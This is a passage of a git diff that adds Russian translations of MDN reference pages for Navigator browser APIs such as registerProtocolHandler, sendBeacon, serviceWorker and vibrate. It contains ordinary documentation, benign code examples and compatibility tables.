+<p><sup>1</sup>x.y <span class="short_text" id="result_box" lang="ru"><span class="hps">относится к</span> <span class="hps">версии операционной</span> <span class="hps">системы</span></span></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">function osInfo() {
+  alert(window.navigator.oscpu);
+}
+// returns: "Windows NT 6.0" for example
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">ваш код</span> <span class="hps">не</span> <span class="hps">является привилегированным</span> <span class="hps">(</span></span>chrome<span lang="ru"> <span class="hps">или по крайней мере</span> <span class="hps">имеет привилегию</span> <span class="hps">UniversalBrowserRead</span><span>)</span><span>,</span> <span class="hps">он может получить</span> <span class="hps">значение</span> <span class="hps">general.oscpu.override</span><span>, а не</span> <span class="hps">истинной</span> <span class="hps">платформы</span><span>.</span></span></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><em>Не является частью какой-либо спецификации.</em></p>
diff --git a/files/ru/web/api/navigator/registerprotocolhandler/index.html b/files/ru/web/api/navigator/registerprotocolhandler/index.html
new file mode 100644
index 0000000000..4a15615d8d
--- /dev/null
+++ b/files/ru/web/api/navigator/registerprotocolhandler/index.html
@@ -0,0 +1,119 @@
+---
+title: Navigator.registerProtocolHandler()
+slug: Web/API/Navigator/registerProtocolHandler
+translation_of: Web/API/Navigator/registerProtocolHandler
+---
+<p id="Summary">{{APIRef("HTML DOM")}}</p>
+
+<p>Позволяет веб-сайтам зарегистрировать себя как возможный обработчик  для конкретных протоколов.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">по умолчанию</span><span>,</span> <span class="hps">веб-сайты могут</span> <span class="hps">зарегистрировать только</span> <span class="hps">обработчики протокола</span> <span class="hps">для себя</span> <span class="hps">-</span> <span class="hps">домен</span> <span class="hps">и протокол</span> <span class="hps">обработчика</span> <span class="hps">должны совпадать с</span> текущим <span class="hps">сайтом.</span></span> Тем не менее, пользователи могут установить предпочтение в Firefox, разрешающее перекрестную обработку веб-сайтов  в настройках <code>gecko.handlerService.allowRegisterFromDifferentHost</code> установив <code>true</code> в about:config.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Расширения могут</span> <span class="hps">регистрировать обработчики</span> <span class="hps">протоколов</span><span>, направленные</span> <span class="hps">другие сайты</span><span>: </span></span>см. "Смотрите также" раздел как использовать их с XPCOM.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.navigator.registerProtocolHandler(<em>protocol</em>, <em>uri</em>, <em>title</em>);
+</pre>
+
+<ul>
+ <li><code>protocol</code> это протокол нуждающийся в обработке, записанный в виде строки.</li>
+ <li><code>uri</code> это URI обработчика в виде строки. Вы можете включить "%s", что бы показать куда вставлять  выходящие URI документа для обработки.
+  <div class="note">
+  <p>Примечание: ДОЛЖНА быть <code>http </code>или <code>https </code>схема</p>
+  </div>
+ </li>
+ <li>
+  <p><code>title</code> это заголовок обработчика, представленный пользователю в виде строки.</p>
+ </li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Если ваше веб-приложение находится по адресу <code><span class="nowiki">http://www.google.co.uk</span></code>, вы можете зарегистрировать обработчик протокола и привязать  обращение к нему "burger", как это:</p>
+
+<pre class="eval">navigator.registerProtocolHandler("burger",
+                                  "http://www.google.co.uk/?uri=%s",
+                                  "Burger handler");
+</pre>
+
+<p><br>
+ Это создаст обработчик, который разрешает <code>burger://</code>ссылки, направляющие пользователя на ваше веб-приложение, вставляя burger информацию <span id="result_box" lang="ru"><span>указанную в ссылке</span> <span class="hps">на</span> <span class="hps">URL.</span></span> <span id="result_box" lang="ru"><span class="hps">Напомним, что</span> <span class="hps">этот скрипт</span> <span class="hps">должен быть запущен</span> <span class="hps">с того же домена </span></span>(так и слюбой странице расположенной в <code>google.co.uk</code>) и второе, переданный аргумент должен быть <code>http </code>или <code>https</code> схемы (в этом примере это <code>http</code>) .</p>
+
+<p><span id="result_box" lang="ru"><span>Пользователь</span> <span class="hps">будет уведомлен</span> <span class="hps">о</span> <span class="hps">регистрации этого</span> <span class="hps">протокола</span></span>, для примера смотрите на изображение ниже.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9683/protocolregister.png" style="display: block; height: 401px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Примечание</strong>: "<a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#Getting_most_recent_window">Регистрация службы веб-почты, как mailto-обработчик</a>", показывает как сделать это в рамках XPCOM.</p>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Specified by the WHATWG's <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">Web Applications 1.0 working draft</a> (HTML5).</p>
+
+<h2 id="See_also" name="See_also">Совместимомть с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>13</p>
+
+    <p>Белый лист протоколов включает в себя: mailto, mms, nntp, rtsp, и webcal. Обычные протоколы должны быть с префиксом "web+".</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("1.9") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Opera 11.60</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("3.5") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en/Web-based_protocol_handlers" title="en/Web-based_protocol_handlers">Web-based protocol handlers</a></li>
+ <li><a class="external" href="http://blog.mozilla.com/webdev/2010/07/26/registerprotocolhandler-enhancing-the-federated-web/" title="http://blog.mozilla.com/webdev/2010/07/26/registerprotocolhandler-enhancing-the-federated-web/">RegisterProtocolHandler Enhancing the Federated Web</a> at Mozilla Webdev</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#whitelisted-scheme">Web Application APIs - Custom scheme and content handlers - Whitelisted schemes</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#Getting_most_recent_window">Register a webmail service as mailto handler</a> shows how to do <code>registerProtocolHandler</code> from XPCOM scope.</li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebContentHandlerRegistrar#registerProtocolHandler">XPCOM Interface Reference &gt; nsIWebContentHandlerRegistrar &gt; registerContentHandler</a> - This shows how to use this function XPCOM scope</li>
+</ul>
+
+<p>{{ languages( { "es": "es/DOM/window.navigator.registerProtocolHandler", "fr": "fr/DObrM/window.navigator.registerProtocolHandler", "ja": "ja/DOM/window.navigator.registerProtocolHandler", "pl": "pl/DOM/window.navigator.registerProtocolHandler", "ko": "ko/DOM/window.navigator.registerProtocolHandler" } ) }}</p>
diff --git a/files/ru/web/api/navigator/sendbeacon/index.html b/files/ru/web/api/navigator/sendbeacon/index.html
new file mode 100644
index 0000000000..c4db690393
--- /dev/null
+++ b/files/ru/web/api/navigator/sendbeacon/index.html
@@ -0,0 +1,104 @@
+---
+title: Navigator.sendBeacon()
+slug: Web/API/Navigator/sendBeacon
+tags:
+  - API
+  - Beacon
+  - sendBeacon
+  - Маяк
+  - Производительность
+  - метод
+  - сеть
+translation_of: Web/API/Navigator/sendBeacon
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Метод <code><strong>navigator.sendBeacon()</strong></code> используется для асинхронной передачи небольшого количества информации поверх {{Glossary("HTTP")}} веб-серверу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.sendBeacon(<em>url [</em>, <em>data]</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Параметр <code>url</code> устанавливает адрес, на который будут переданы данные параметра <code>data</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>data</code> {{optional_inline}}</dt>
+ <dd>Параметр <code>data</code> может содержать объект типа {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, или {{domxref("FormData")}}, который будет передан.</dd>
+</dl>
+
+<div class="note">
+<p>Использует метод POST при передаче данных</p>
+</div>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p><code><strong>sendBeacon()</strong></code> возвращает <code>true</code>, если браузер успешно поставил данные <code>data</code> в очередь отправления, в ином случае <code>false</code>.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод предназначен, главным образом, для передачи данных аналитики и диагностики на сервер, перед тем как страница будет закрыта. Так как отправление данных до закрытия страницы может привести к не достаточно полному сбору информации. Стандартный асинхронный {{domxref("XMLHttpRequest")}} не подходит для этих целей, потому что большинство браузеров игнорируют его в событии {{event("unload")}}.</p>
+
+<p>Для решения этой проблемы ранее использовали синхронный <code>XMLHttpRequest</code> вызванный в событии <code>unload</code> или {{event("beforeunload")}} с данными для передачи. Синхронный <code>XMLHttpRequest</code> блокирует процесс выгрузки документа и текущая страница закрывается не сразу. Ситуация усугубляется, если пользователь уходит с вашей страницы по ссылке или нажимает кнопку "назад". Новая страница не будет загружена в этой вкладке, пока не выгрузится старая. В глазах пользователя, новая страница выглядит заторможенной, хотя на самом деле, это связанно с текущей, выгружаемой, страницей.</p>
+
+<p>Существуют и другие способы обойти эту проблему. Один из них - создание элемента {{HTMLElement("img")}} и установка аттрибута <code>src</code> в событии выгрузки. Это может сработать, потому что большинство браузеров остановят основной процесс, а вместе с ним и выгрузку страницы, до загрузки изображения. Ещё один способ - создать пустой цикл на несколько секунд, таким образом придержав основной поток и дав асинхронному <code>XMLHttpRequest</code> выполниться.</p>
+
+<p>Но, проблема в том, что все эти методы не надёжны и приводят к значительным задержкам отклика интерфейса браузера. Не говоря о том, что всё это - плохой стиль написания кода.</p>
+
+<p>В примере ниже показан код отправления аналитики при помощи синхронного <code>XMLHttpRequest</code> в событии выгрузки страницы. Это решение приведёт к задержке отклика интерфейса браузера. Не используйте это.</p>
+
+<pre class="brush: js">window.addEventListener("unload", logData, false);
+
+function logData() {
+  var client = new XMLHttpRequest();
+  client.open("POST", "/log", false); // последний параметр устанавливает синхронный стиль
+  client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+  client.send(analyticsData);
+}
+</pre>
+
+<p>Здесь-то и найдётся применение <code><strong>sendBeacon()</strong></code>. При использовании метода <code>sendBeacon()</code>, данные будут переданы на сервер асинхронно, как только браузер найдёт оптимальный момент для этого. Это не вызовет задержек выгрузки и не повлияет на время загрузки следующей страницы. Решает все проблемы при отправлении аналитики: данные надёжно доставляются, это происходит асинхронно, не влияет на время выгрузки и загрузки страниц. Кроме того, код выглядит проще, чем при использовании прочих ухищрений.</p>
+
+<p>Следующий пример покажет, как сделать отправление аналитики красиво и просто с помощью <code>sendBeacon()</code>.</p>
+
+<pre class="brush: js">window.addEventListener("unload", logData, false);
+
+function logData() {
+  navigator.sendBeacon("/log", analyticsData);
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Beacon', '#sec-sendBeacon-method', 'sendBeacon()')}}</td>
+   <td>{{Spec2('Beacon')}}</td>
+   <td>Изначальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице основана на структурированных данных. Если вы хотите помочь с этим, пожалуйста, перейдите по ссылке <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Navigator.sendBeacon")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("navigator", "navigator")}}</li>
+ <li>{{domxref("WorkerNavigator.sendBeacon()")}} (Использование <code>sendBeacon()</code> в workers)</li>
+</ul>
diff --git a/files/ru/web/api/navigator/serviceworker/index.html b/files/ru/web/api/navigator/serviceworker/index.html
new file mode 100644
index 0000000000..ed2132ddc3
--- /dev/null
+++ b/files/ru/web/api/navigator/serviceworker/index.html
@@ -0,0 +1,95 @@
+---
+title: Navigator.serviceWorker
+slug: Web/API/Navigator/serviceWorker
+translation_of: Web/API/Navigator/serviceWorker
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>Свойство только-для-чтения <strong>Navigator.serviceWorker </strong>возвращает объект {{domxref("ServiceWorkerContainer")}}, который предоставляет доступ к регистрации, удалению, обновлению и взаимодействию с объектами {{domxref("ServiceWorker")}} для <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">соответствующего документа</a>.</p>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Синтаксис</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">var <var>workerContainerInstance</var> = navigator.serviceWorker;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{domxref("ServiceWorkerContainer")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#navigator-service-worker', 'navigator.serviceWorker')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами" style="line-height: 30px; font-size: 2.14285714285714rem;">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Свойство</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop("33.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Свойство</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">Firefox OS</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Workers</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/vibrate/index.html b/files/ru/web/api/navigator/vibrate/index.html
new file mode 100644
index 0000000000..94c9f00334
--- /dev/null
+++ b/files/ru/web/api/navigator/vibrate/index.html
@@ -0,0 +1,107 @@
+---
+title: Navigator.vibrate()
+slug: Web/API/Navigator/vibrate
+translation_of: Web/API/Navigator/vibrate
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Метод <strong><code>Navigator.vibrate()</code></strong> пульсирует вибрационным обурудованием на устройстве, <span id="result_box" lang="ru"><span class="hps">если</span> <span class="hps">такое аппаратное обеспечение</span> <span class="hps">существует. Если устройство не поддерживает вибрацию, этот метод не имиеет ни какого эффекта.</span></span> Если шаблон вибрации уже в процессе выполнения, когда метод вызван, предыдущий шаблон останавливается и вместо него начинается новый.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">метод</span> <span class="hps">не в состоянии</span> <span class="hps">вибрировать</span> <span class="hps">из-за</span> <span class="hps">недействительных</span> <span class="hps">параметров</span><span>,</span></span> он вернет <code>false</code>, иначе вернет <code>true</code>. Если шаблон ведет к слишком длинной вибрации, он усекается: <span id="result_box" lang="ru"><span class="hps">максимальная длина</span> <span class="hps">зависит</span> <span class="hps">от</span> <span class="hps">конкретной реализации</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>successBool</em> = window.navigator.vibrate(<em><var>pattern</var></em>);
+</pre>
+
+<dl>
+ <dt><em>pattern</em></dt>
+ <dd><span class="short_text" id="result_box" lang="ru">Определяет <span class="hps">шаблон</span> <span class="hps">вибрации и</span> <span class="hps">интервал паузы</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Значение</span> <span class="hps">указывает на</span> <span class="hps">число миллисекунд</span><span> </span><span class="hps">вибрирации</span> <span class="hps">или паузы</span>, <span class="hps">при чередовании</span></span>. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">указать либо</span> <span class="hps">одно значение</span> <span class="atn hps">(</span><span>вибрировать</span> <span class="hps">постоянно</span> <span class="hps">опреднленное</span> <span class="hps">количество миллисекунд</span><span>) или</span> <span class="hps">массив значений</span>, <span class="hps">поочередно</span>: <span class="hps">вибрировать</span><span>,</span> <span class="hps">пауза</span><span>, затем снова</span> <span class="hps">вибрировать</span><span class="hps">.</span></span> См. <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> для уточнения деталей.</dd>
+</dl>
+
+<p>Переданное значение 0 или пустой массив, или массив содержащий все нули отменяет любой шаблон вибрации запущеный в текущий момент.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">window.navigator.vibrate(200); // Вибрировать 200ms
+window.navigator.vibrate([100,30,100,30,100,200,200,30,200,30,200,200,100,30,100,30,100]); // Вибрировать 'SOS' на азбуке Морзе.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Vibration API')}}</td>
+   <td>{{Spec2('Vibration API')}}</td>
+   <td>Связанный со спецификацией недавний редакторский черновик; <span id="result_box" lang="ru"><span class="hps">W3C</span> <span class="hps">версия</span> <span class="hps">REC</span><span>.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop("11.0")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}} (no prefix) [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoMobile("11.0")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoMobile("16.0")}} (no prefix) [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Когда шаблон вибрации слишком долгий или какой-либо из его элементов слишком большой, до Firefox 26 и включая его , Gecko сбрасывал исключение, вместо возврата <code>false</code> ({{bug("884935")}}). До Firefox 32 и далее, возвращалось <code>true</code>, но обрезался шаблон ({{bug(1014581)}}).</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a></li>
+</ul>
diff --git a/files/ru/web/api/navigatorgeolocation/index.html b/files/ru/web/api/navigatorgeolocation/index.html
new file mode 100644
index 0000000000..0132336c03
--- /dev/null
+++ b/files/ru/web/api/navigatorgeolocation/index.html
@@ -0,0 +1,102 @@
+---
+title: NavigatorGeolocation
+slug: Web/API/NavigatorGeolocation
+translation_of: Web/API/Geolocation
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>NavigatorGeolocation</strong></code> содержит метод, позволяющий объектам реализовывать его,, получая {{domxref("Geolocation")}} экземпляр объекта.</p>
+
+<p>Здесь нет объектов типа <code>NavigatorGeolocation</code>, но некоторые интерфейсы, например, {{domxref("Navigator")}} реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>NavigatorGeolocation</code></em><em> не наследует каких-либо свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("Geolocation")}} позволяющий получить доступ к местоположению устройства.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><code>Интерфейс </code></em><em><code>NavigatorGeolocation</code></em><em> ни реализует, ни наследует  никаких методов.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Изначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Использование геолокации.</a></li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/appcodename/index.html b/files/ru/web/api/navigatorid/appcodename/index.html
new file mode 100644
index 0000000000..7f215df4c3
--- /dev/null
+++ b/files/ru/web/api/navigatorid/appcodename/index.html
@@ -0,0 +1,120 @@
+---
+title: NavigatorID.appCodeName
+slug: Web/API/NavigatorID/appCodeName
+translation_of: Web/API/NavigatorID/appCodeName
+---
+<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p>
+
+<p><strong><code>NavigatorID.appCodeName</code></strong> всегда возвращает<code>'Mozilla'</code> в любом браузере. Это свойство сохраняется только для совместимости.</p>
+
+<div class="note"><strong>Примечание:</strong> Не полагаетесь на это свойство, чтобы получить настоящее имя продукта. Все браузеры возвращают "Mozilla" в качестве значения свойства.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">codeName = window.navigator.appCodeName
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p><code>codeName</code> это внутреннее имя браузера в виде {{domxref("DOMString")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">console.log(window.navigator.appCodeName);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-appcodename', 'NavigatorID.appCodeName')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(28)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(28)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorID.product")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/navigatorid/appname/index.html b/files/ru/web/api/navigatorid/appname/index.html
new file mode 100644
index 0000000000..536708fca2
--- /dev/null
+++ b/files/ru/web/api/navigatorid/appname/index.html
@@ -0,0 +1,102 @@
+---
+title: NavigatorID.appName
+slug: Web/API/NavigatorID/appName
+translation_of: Web/API/NavigatorID/appName
+---
+<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p>
+
